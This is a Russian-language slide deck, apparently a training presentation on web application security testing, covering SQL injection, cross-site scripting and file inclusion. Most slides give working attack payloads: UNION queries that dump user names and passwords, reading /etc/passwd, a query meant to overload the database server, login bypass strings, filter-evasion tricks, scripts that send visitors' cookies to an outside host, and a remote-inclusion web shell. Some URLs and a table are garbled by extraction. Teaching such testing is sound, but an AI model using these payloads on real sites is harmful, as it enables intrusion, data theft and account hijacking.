2. Зачем нужно тестировать
защищенность
• 90% сайтов опасны для пользователей и представляют
угрозу бизнесу.
• 43% сайтов не могут хранить конфиденциальную
информацию в БД.
• 80% Вебмастеров не обновляют opensource продукты
вовремя.
• 99,9% сайтов, которые имеют уязвимость, имеют еще
несколько уязвимостей.
• 48% серверов имеют уязвимости на уровне операционной
системы и приложений.
3. SQL Injection
• Внедрение SQL-кода — один из распространѐнных
способов взлома сайтов и программ, работающих с
базами данных, основанный на внедрении в запрос
произвольного SQL-кода.
8. Простейший способ
обнаружить уязвимость
Добавляем одинарную кавычку к запросу:
• http://www.site.com/?id=1‘
Получаем ошибку типа:
• Warning: mysql_fetch_object(): supplied argument is not a
valid MySQL result resource in
/home/mysite/www/htdocs/include/lib/news.php
Или
• Видим ту же самую страницу что и по ссылке
http://www.site.com/?id=1
9. Почему так происходит?
query =
"SELECT * FROM news WHERE id = '" + id + "'"
SELECT * FROM news WHERE id = '1''
10. Какие еще есть способы
проверки?
• Использование простых арифметических операций в
запросе:
• site.com/index.php?id=2-1(Выводит страницу 1)
• site.com/index.php?id=1*2(Выводит страницу 2)
• site.com/index.php?id=1+and+1=1(Выводит страницу 1)
• Использование сортировки в запросе:
• site.com/index.php?showthread=285+ORDER+BY+1--+
• Подстановка бессмысленной информации в запрос
• site.com/index.php?id=1 anything (Выводит сообщение об ошибке)
11. Как этим пользоваться?
/?id=1' UNION SELECT user,password FROM users--
SELECT title,text FROM news WHERE id = '1'
SELECT title,text FROM news WHERE id = '1'
UNION
SELECT user,password FROM users
12. Blind SQL injection
• Тестирование истинных и ложных запросов:
• site.com/index.php?id=2’ AND ‘1’ = ‘1’--
• site.com/index.php?id=2’ AND ‘1’=‘2’--
• Вывод информации в отчете об ошибках:
• site.com/index.php?id=2’ OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --
Duplicate entry '5.0.45' for key 1
13. Double-blind injection
• Посимвольный перебор с помощью
Benchmark:
• site.com/index.php?id=2’ OR id=
IF(ASCII(SUBSTRING((SELECT USER()), 1,
1)))>=100, 1,
BENCHMARK(2999999,MD5(NOW()))) –
• Способ навредить серверу БД:
• site.com/index.php?id=2’ AND
BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))
14. На что еще обращать
внимание?
• URL:
http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:whe
re
15. Практика,
или SQL Injection глазами злоумышленника
1. Определение типа базы данных
2. Проверка прав пользователя на запись
файлов
3. Подбор количества столбцов
4. Определение вывода на экран
5. Получение информации о таблицах
6. Получение информации о колонках в
требуемой таблице
7. Получение данных из таблицы и вывод на
экран
16. Ошибки характерные для разных
видов баз данных
PostgreSQL Access MS SQL InterBaseFire Oracle Sybase
bird
Функции: [Microsoft][ODB [Microsoft][ODB ibase_query() ORA-01756 Sybase error
pg_exec() C Microsoft C SQL Server ibase_fetch_obj (И вообще sybase_query()
pg_numrows() Access Driver] Driver] ect() всякие ORA) sybase_num_ro
или ws()
Microsoft JET
Database
Engine error
17. Подбор количества
столбцов
1. Простой перебор
допустим у нас есть сайт с инъекцией:
www.site.com/index.php?id=1‘
Выполняем такой запрос
www.site.com/index.php?id=-1+UNION+SELECT+1,2,3 --
если появилась ошибка, то увеличиваем количество колонок на
одну
www.site.com/index.php?id=-1+UNION+SELECT+1,2,3,4 --
и так пока не исчезнет ошибка и появится пустая страница
18. 2. Оператор ORDER BY
www.site.com/index.php?id=-1+order+by+1--
ошибки нет, значит столбцов 1 или больше 1
www.site.com/index.php?id=-1+order+by+9999--
должна появится ошибка, значит столбцов меньше 9999
Далее подбираем таким образом правильное количество, предположим в
нашем случае 4 столбца, тогда:
www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)
19. Определение вывода
Предположим мы подобрали количество столбцов и их оказалось 4
www.site.com/index.php?id=-1+union+select+null,null,null,null
Теперь нас интересует в какой части страницы, какая колонка
выводится. Для этого подставим вместо одного из null –
произвольный набор символов, в нашем случае «111»
www.site.com/index.php?id=-1+union+select+null,111,null,null--
20. Получаем информацию о
версии и пользователе
Для получения информации о текущем пользователе используется
функция user()
www.site.com/index.php?id=-1+union+select+null,user(),null,null--
Для определения версии используется функция version()
www.site.com/index.php?id=-1+union+select+null,user(),null,null--
21. Чтение и запись файлов
Проверка возможности чтения/записи файлов:
www.site.com/index.php?id=-
1+union+select+null,file_priv,null,null+union+select+file_priv+from+
mysql.user+where+user= ‘%USERNAME%'--
Чтение файла
www.site.com/index.php?id=-
1+union+select+null,file_priv,null,null+union+select+
union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--
22. Узнаем таблицы
Для получения информации о таблицах и колонках необходимо
обратиться к служебной таблице Information_schema
www.site.com/index.php?id=-
1+union+select+null,TABLE_NAME,null,null+from+INFO
RMATION_SCHEMA.TABLES--
Таким запросом мы узнаѐм первую таблицу, но нам надо узнать
и другие
www.site.com/index.php?id=-
1+union+select+null,TABLE_NAME,null,null+from+INFO
RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--
23. Получаем информацию о
колонках
Перебрав таблицы, определяем ту которая нам будет интересна.
Пусть это будет USER, что требуется для получения информации
о колонках:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF
ORMATION_SCHEMA.COLUMNS--
Таким обрfзом мы выводим названия колонок всех таблиц. Но нам
надо узнать имена колонок именно в таблице USER
Изменяем немного наш запрос добавляя в него оператор WHERE:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF
ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
Появится имя первой колонки в таблице user и далее добавляя
LIMIT+OFFSET узнаём все колонки.
24. Фильтрация кавычек
Чаще всего, проделав действия описанные на предыдущем слайде, вы
увидите ошибку:
ERROR: syntax error at or near "user" at character 122
http://www.paulschou.com/tools/xlate/
www.site.com/index.php?id=-
1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.CO
LUMNS+where+TABLE_NAME=chr(117)| |chr(115)||chr(101)||chr(114)--
25. Фильтрация кавычек
Второй способ: использование вложенного подзапроса
www.site.com/index.php?id=-
1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATI
ON_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_
NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+
1)--
26. Фильтация пробелов
В случае фильтрации пробелов существуют следующий способы обхода
фильтра:
1. Использование пробельных символов «/*!*/» и «/**/»
SELECT * FROM news WHERE
id='1'/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login='admi
n'#‘
или
SELECT * FROM news WHERE
id='1'/*!UNION*/SELECT/*!1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login='admin'*/#'
2. Использование символов табуляции:
%09 – табуляция
%0A – символ новой строка
%0D – возврат каретки
%0B – вертикальная табуляция
%0C – символ новой страницы
http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%
0 9WHERE%09login='admin'#
27. Получение информации из таблицы
Составляем запрос:
www.site.com/index.php?id=-
1+union+select+null,username,null,null+from+user--
Он возвратит нам в данном случае имя пользователя
Можно объединять 2 и более колонки разделяя их спец символом
www.site.com/index.php?id=-
1+union+select+null,username||chr(58)||email,null, null+from+user--
Мы увидим запись типа Login:email
28. Уязвимость в скрипте авторизации
Поле ввода имени пользователя:
• Username’--
Поле ввода пароля:
• 123' OR login='Admin' –
• %
30. Программы для работы с
инъекциями
• SQL InjectMe – плагин для Firefox
• Absinthe – утилита для проведения атак типа SQL Injection
• SQL checker – анализатор возможности внедрения SQL кода
31. XSS
XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип
уязвимости интерактивных информационных систем в вебе.
XSS возникает, когда в генерируемые сервером страницы по
какой-то причине попадают пользовательские скрипты.
33. XSS
• Цель
Выполнить «чужеродный» JavaScript-код в браузере клиента,
когда он находится на атакуемом сайте
• Как это сделать?
Внедрить куда-нибудь фрагмент кода типа
<script>...</script>
<a onmouseover="..."/>
<img src=/slideshow/ss-10477412/10477412/"javascript:..."/>
34. Классификация XSS
• Активный XSS
– Внедренный скрипт сохраняется в системе и становится доступен
для вывода другим пользователям
• Пассивный XSS
– Скрипт передается системе в параметрах HTTP-запроса с
последующим их выводом в HTML-страницу.
35. Чем мы рискуем?
• Кража Cookies
var іmg = new Image();
іmg.srс = 'http://site/xss.php?' + document.cookie;
• Кража аутентификационных данных
– добавление обработчика события onsubmit к существующей
форме
– добавление формы с просьбой ввести пароль
• Перенаправление пользователя на страницы злоумышленников
• DDOS атаки
37. Типичный случай
Самая распространенная разновидность XSS:
"><script>alert()</script>
Вся суть в ">
После добавления к форме "><script>alert()</script> какой-то
переменной присваивается значение поля. Переменная
обрабатывается, "> закрывает
скрипт и выполняет <script>alert()</script>
39. Фильтры: определяем
наличие и качество
В любое поле вводим проверочную строку: '';!--"<XSSTEST>=&{()}
Далее открываем HTML страницы, ищем слово "XSSTEST"
и смотрим на прилегающие к нему символы.
• Если символы <> остались – это первый признак наличия уязвимости
• Если символы ,"' остались такими, как были введены – это второй
признак уязвимости (возможно использование дополнительных
символов в последующей XSS атаке)
• Если в HTML, вы не обнаружили <> - это признак отсутствия
фильтрации.
• Если открыв HTML вы обнаружили, что <> заменены на другие
символы – фильтр функционирует нормально.
40. Практика
• Допустим фильтр экранирует <>
В этом случае существует вероятность обхода фильтра.
К примеру, фильтр настроен на удаление <script>,<> и .
Для проверки используем конструкцию типа <testxss555> и проверяем,
если фильтр не удалил запись - можно составить XSS-скрипт.
К примеру вот так:
<sc<script>ript>alert()</sc</script>ript>
41. Автозакрывающиеся скобки:
>>>><<script
бывает, что фильтр подсчитывает открывающиеся и закрывающиеся
скобки и закрывает сам.
Автозакрытие тегов:
Бывает что фильтр дополняет скрипт, к примеру вот этим : ">
http://site.ru/trye.asp?sessionID="><IMG%20SRC=/slideshow/ss-10477412/10477412/"javascript:alert();
Фильтр проверяет, что ничего опасного в <IMG%20SRC=/slideshow/ss-10477412/10477412/"javascript:alert();
нет, закрывает тег и тем самым выполняет вредоносный скрипт.
42. Кража Cookies
До этого мы рассматривали скрипты типа:
<script>alert (' Test ')</script>
javascript:alert (' Test ')/
javascript:alert(' Test ')/1.jpg и так далее..
Теперь рассмотрим следующий скрипт:
<script>
img = new Image();
img.src = /slideshow/ss-10477412/10477412/"http:/test.com/s/Hack.gif?"+document.cookie;
</script>
В данном виде скрипт перехватывает cookies пользователя.
43. Как воспользоваться этим
скриптом?
1. http://site.ru/free?p='><script>img=new
Image();img.src=/slideshow/ss-10477412/10477412/"http:/test.com/s/Hack.gif?"+document.cookie;"+document.cookie;</
script>
2. http://site.ru/free?p='><script src=http://test.com/script/js.js></script>
При этом файл js.js содержит:
img=new Image();img.src=/slideshow/ss-10477412/10477412/"http:/test.com/s/Hack.gif?"+document.cookie;
этот способ более надѐжен.
44. Изменение кодировки
http://ha.ckers.org/xss.html
Изначально скрипт выглядел так:
http://cite.com/test?p='><script src=http://test.com/script/js.js></script>
После:
%68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%6
5%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%7
2%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%7
4%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%7
3%63%72%69%70%74%3E%0A
45. DDoS-атака
XSS-уязвимость на многопосещаемых ресурсах может быть использована
для проведения DDoS-атаки. Суть проста — много запросов, которые
не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты
могут и не использоваться вовсе, достаточно конструкции вида:
<img src=/slideshow/ss-10477412/10477412/"http:/site.com/">
50. Виды инклудов
<? ..
Include ("$page.php");
… ?>
Возможен Remote File Inclusion (RFI)
<? ..
Include ("files/$page.htm");
… ?>
Возможен Local File Inclusion (LFI) с использованием нулл байта
<? ..
Include ("$patch/folder/page.php");
… ?>
Возможен RFI при условии создания структуры /folder/page.php на удаленном
сервере
51. Метод определения
уязвимости
• index.php?page=shop
Подставим dsdsds вместо shop:
Warning: main(dsdsds.php): failed to open stream: No such file or directory in
/home/user/www//page.php on line 3
Warning: main(dsdsds.php): failed to open stream: No such file or directory in
/home/user/www/page.php on line 3
Warning: main(): Failed opening 'dsdsds.php' for inclusion
(include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in
/home/user/www/page.php on line 3
52. Веб шелл
Это происходит потому, что код страницы имеет такой элемент
<?
..
Include ("$page.php");
…
?>
Как этим воспользоваться?
index.php?page=http://hacker.site/shell
Получаем веб шелл, который дает возможность исполнять любые php
команды
53. Выход за пределы текущего
каталога
Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat 6 ниже 6.0.10
подвержен уязвимости поволяющей перейти к содержимому
вышестоящей директории путем указания в пути конструкции "../".
54. Инструменты для
обнаружения
• Graudit - семантически-статический анализатор кода
• RIPS – утилита для поискам уязвимостей в PHP коде